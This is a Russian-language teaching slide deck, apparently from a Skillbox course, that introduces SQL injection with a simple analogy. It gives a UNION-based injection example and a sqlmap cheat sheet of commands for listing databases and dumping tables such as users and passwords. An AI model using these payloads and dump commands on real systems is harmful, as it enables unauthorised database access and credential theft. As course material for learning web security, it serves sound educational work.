Skillbox

Атаки на веб-приложения

Skillbox

SQL-инъекции

ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Олегу

SQL-инъекции

ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Олегу ИЛИ Пете

SQL-инъекции

SQL-инъекции — это атака на базу данных, позволяющая выполнить некоторое действие, которое не планировалось разработчиками приложения

Атака основана на внедрении **вредоносного** кода в исходный SQL-код (скрипт). Например, на взламываемом сервере баз данных злоумышленник может:

- получить доступ к таблице, доступ к которой ограничен
- удалять данные из таблиц, удалять сами таблицы
- изменять/добавлять данные в таблицах

SQL-инъекции

Ссылка на сайт: site.ru/test.php?id=1

- id=1 – подгружается элемент 1
- id=2 – подгружается элемент 2
- id=3 – подгружается элемент 3

Запрос к БД: SELECT * FROM test WHERE id = $id

SQL инъекция: SELECT * FROM test WHERE id = 1 UNION SELECT * FROM admin

Шпаргалка по SQL-инъекциям

sqlmap – автоматизированный поиск SQL-инъекций

sqlmap – это инструмент с открытым исходным кодом для выявления SQL-инъекций с последующим дампом, то есть набором команд для получения экземпляра базы.

Поддерживаемые базы данных: MySQL, SQLite, Oracle, Microsoft Access, PostgreSQL, Microsoft SQL Server, IBM DB2, Sybase, SAP MaxDB, HSQLDB, Firebird

Также поддерживает: перечисления пользователей, хешей паролей, привилегий, ролей, БД, таблиц и колонок.

Поставляется в дистрибутиве Kali Linux.

Пример команд sqlmap

Команда	**Описание**
sqlmap -u «http://site.com/login.php»	Простая проверка для определенного URL
sqlmap -u «http://site.com/login.php» --dbs	Получить имена все баз данных, найденных в случае успешной эксплуатации
sqlmap -u «http://site.com/login.php» -D site_db --tables	Получить таблицы, которые находятся в базе данных (здесь site_db)
sqlmap -u «http://site.com/login.php» -D site_db -T users --dump	Получить содержимое определенной таблицы (здесь таблицы users в БД site-db)
sqlmap -u «http://site.com/login.php» -D site_db -T users --columns	Вернуть все столбцы в таблице
sqlmap -u «http://site.com/login.php» -D site_db -T users -C имя пользователя, пароль –dump	Возврат определенного содержимого столбца
sqlmap -u «http://site.com/login.php» –метод «POST» --data «username = admin & password = admin & submit = Submit» -D social_mccodes -T users –dump	Возврат таблицы, когда у нас есть данные для входа администратора